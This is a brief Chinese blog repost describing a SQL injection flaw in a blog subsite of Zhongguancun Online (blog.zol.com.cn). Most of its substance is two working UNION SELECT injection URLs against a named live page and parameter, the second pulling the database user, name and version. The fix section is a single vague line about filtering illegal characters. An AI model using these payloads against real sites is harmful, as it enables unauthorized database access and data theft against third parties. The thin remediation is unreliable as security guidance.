中关村在线博客子站SQL注入及修复方案

时间：2016-02-05 19:51:56 阅读：296 评论：0 收藏：0 [点我收藏+]

http://blog.zol.com.cn/music_swf/music_data.php?blogid=-0 union select 1,2,3,4,5--
技术分享

http://blog.zol.com.cn/music_swf/music_data.php?blogid=-0 union select 1,2,CONCAT(user(),0x7c,database(),0x7c,version()),4,5--
技术分享

修复方案：
过滤参数提交非法字符或者拦截敏感字符等等。。。

原文：http://www.jb51.net/hack/57001.html

踩

(0)

评论一句话评论（0）

分享档案

更多>